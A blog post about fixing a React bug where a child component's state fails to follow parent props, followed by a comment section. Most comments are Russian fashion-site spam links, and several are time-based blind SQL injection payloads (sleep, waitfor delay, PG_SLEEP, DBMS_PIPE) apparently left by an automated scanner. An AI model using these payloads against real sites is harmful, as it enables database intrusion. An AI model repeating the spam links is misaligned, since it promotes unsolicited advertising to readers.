Introduction
One sunny Tuesday ☀️, I faced a tricky React bug at work. This issue taught me a lot about managing state and props in React. Let me share my story.
The Problem
We were building a weather dashboard 🌦️. My task was to create a parent component that fetched weather data and passed it to a child component.
WeatherDashboard Component
WeatherDetails Component
The Issue
I expected the child component to update when the parent data changed. However, the displayed weather stayed the same 😲.
The Solution
The problem was that the child component’s state was set only once. To fix this, I used the useEffect hook to update the child’s state when the parent’s data changed.
The Result
With this change, both the current and displayed weather updated seamlessly 🎉.
Conclusion
This experience taught me about state and props in React. The key is to use the useEffect hook to keep the child state in sync with the parent props.
Key Takeaways
- Props don’t automatically update a child’s state.
- Use the useEffect hook to sync state with props.
- Debugging can be frustrating 😤, but it leads to learning.
What’s Next?
We’re constantly improving our weather dashboard and would love to hear your thoughts. Stay tuned for more updates, and feel free to share your suggestions. We’re eagerly waiting to hear from you!
66 Comments
Ya u r correct, components automatically renders only if state changes, to make it render again we use useEffect or componendidupdate in class components
555
1
555
555
555
555
555
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1
Точно трендовые события подиума.
Исчерпывающие эвенты самых влиятельных подуимов.
Модные дома, торговые марки, haute couture.
Самое лучшее место для стильныех хайпбистов.
https://fashionablelook.ru
Несомненно актуальные новости индустрии.
Актуальные новости всемирных подуимов.
Модные дома, бренды, гедонизм.
Самое лучшее место для трендовых хайпбистов.
https://modavgorode.ru
Очень стильные новинки индустрии.
Исчерпывающие новости известнейших подуимов.
Модные дома, торговые марки, гедонизм.
Самое лучшее место для стильныех людей.
https://modaizkomoda.ru
Самые трендовые события мировых подиумов.
Актуальные новости всемирных подуимов.
Модные дома, торговые марки, гедонизм.
Лучшее место для модных людей.
https://myfashionacademy.ru/
Why are you using state in child component ? I hope , state is not required in Child component. Just display the prop directly. When you directly display the prop, it does show the changed value.
yes in this example it is not required but in my project I encountered this use case so I want to share that information with simple example.
Несомненно важные новости мировых подиумов.
Все события известнейших подуимов.
Модные дома, бренды, высокая мода.
Приятное место для модных людей.
https://metamoda.ru/moda/599-doja-cat-vyzvala-bezumie-v-tope-i-yubke-iz-pishchevoy-plenki-s-rezhisserom-vetements-guram-gvasalia/
Несомненно стильные события мира fashion.
Все эвенты известнейших подуимов.
Модные дома, бренды, гедонизм.
Свежее место для стильныех людей.
https://fashionvipclub.ru/news/2024-06-19-gruzin-kotoryy-perevernul-mirovuyu-modu-demna-gvasaliya/
Несомненно свежие события мира fashion.
Исчерпывающие мероприятия всемирных подуимов.
Модные дома, лейблы, haute couture.
Самое приятное место для трендовых людей.
https://hypebeasts.ru/
Несомненно актуальные события моды.
Все новости всемирных подуимов.
Модные дома, бренды, haute couture.
Приятное место для стильныех хайпбистов.
https://luxe-moda.ru/chic/162-loro-piana-lyubimyy-brend-politikov-i-biznesmenov/
Самые актуальные новинки моды.
Важные события самых влиятельных подуимов.
Модные дома, лейблы, haute couture.
Свежее место для стильныех людей.
https://balmain1.ru/balmain/381-kak-otlichit-originalnyy-balmain-ot-poddelki/
Наиболее свежие события мировых подиумов.
Актуальные эвенты всемирных подуимов.
Модные дома, лейблы, haute couture.
Приятное место для трендовых людей.
https://km-moda.ru/style/525-parajumpers-istoriya-stil-i-assortiment/
Абсолютно стильные события индустрии.
Абсолютно все эвенты известнейших подуимов.
Модные дома, бренды, высокая мода.
Приятное место для трендовых людей.
https://luxe-moda.ru/chic/356-rick-owens-buntar-v-chernyh-tonah/
That is not needed, simply passing prop to the child component would have updated state value in Child Component. Managing same state in Child component is redundant.
Очень актуальные новости подиума.
Абсолютно все события известнейших подуимов.
Модные дома, торговые марки, haute couture.
Приятное место для стильныех хайпбистов.
https://modastars.ru/
Полностью стильные новинки индустрии.
Исчерпывающие эвенты всемирных подуимов.
Модные дома, лейблы, гедонизм.
Свежее место для трендовых хайпбистов.
https://donnafashion.ru/
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555-1; waitfor delay ‘0:0:15’ —
555-1); waitfor delay ‘0:0:15’ —
555-1 waitfor delay ‘0:0:15’ —
555cQEcLjzK’; waitfor delay ‘0:0:15’ —
555-1 OR 230=(SELECT 230 FROM PG_SLEEP(15))–
555-1) OR 465=(SELECT 465 FROM PG_SLEEP(15))–
555-1)) OR 968=(SELECT 968 FROM PG_SLEEP(15))–
555utNGWAPt’ OR 744=(SELECT 744 FROM PG_SLEEP(15))–
555NiHT7KEH’) OR 563=(SELECT 563 FROM PG_SLEEP(15))–
555J4PCITvr’)) OR 164=(SELECT 164 FROM PG_SLEEP(15))–
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
Абсолютно трендовые события индустрии.
Исчерпывающие события известнейших подуимов.
Модные дома, бренды, высокая мода.
Приятное место для модных людей.
https://mvmedia.ru/novosti/282-vybiraem-puhovik-herno-podrobnyy-gayd/
Абсолютно актуальные события индустрии.
Исчерпывающие события мировых подуимов.
Модные дома, торговые марки, гедонизм.
Самое приятное место для стильныех людей.
https://donnafashion.ru/
Абсолютно стильные новости моды.
Все новости лучших подуимов.
Модные дома, торговые марки, haute couture.
Свежее место для модных хайпбистов.
https://lecoupon.ru/
Точно стильные новости мира fashion.
Абсолютно все события самых влиятельных подуимов.
Модные дома, бренды, haute couture.
Приятное место для трендовых людей.
https://qrmoda.ru/fashion/361-manzoni-24-italyanskiy-mehovoy-shik/
Несомненно важные события индустрии.
Все события всемирных подуимов.
Модные дома, торговые марки, высокая мода.
Новое место для трендовых хайпбистов.
https://stylecross.ru/read/2024-06-19-lacoste-kachestvennyy-premium-po-tsene-mass-marketa/
Точно стильные события мира fashion.
Абсолютно все мероприятия мировых подуимов.
Модные дома, торговые марки, haute couture.
Самое лучшее место для трендовых людей.
https://world.lepodium.net/
Очень актуальные события индустрии.
Абсолютно все новости мировых подуимов.
Модные дома, лейблы, гедонизм.
Приятное место для трендовых людей.
https://rftimes.ru/news/2024-08-14-7-samyh-kultovyh-veshchey-ot-balenciaga
Точно актуальные новости мира fashion.
Исчерпывающие события известнейших подуимов.
Модные дома, бренды, haute couture.
Интересное место для модных людей.
https://hypebeasts.ru/stuff/2024-08-18-demna-gvasaliya-ikona-sovremennoy-mody/
Очень стильные события модного мира.
Актуальные новости самых влиятельных подуимов.
Модные дома, бренды, haute couture.
Лучшее место для стильныех людей.
https://novosibirsk.rftimes.ru/news/2024-03-04-ogranicheniya-na-oktyabrskom-mostu-budut-deystvovat-sem-mesyatsev
Самые свежие новости индустрии.
Важные новости лучших подуимов.
Модные дома, бренды, haute couture.
Самое лучшее место для модных людей.
https://ryazansport.ru/sport/povyshenie-pensionnogo-vozrasta-otlozheno-do-2024-goda.html
What blogging website had the least invasive ads for free-account users?
Самые стильные новости моды.
Актуальные новости известнейших подуимов.
Модные дома, лейблы, haute couture.
Свежее место для стильныех хайпбистов.
https://samara.rftimes.ru/news/2024-05-30-samolet-iz-samary-posle-problem-s-shassi-prizemlilsya-v-moskve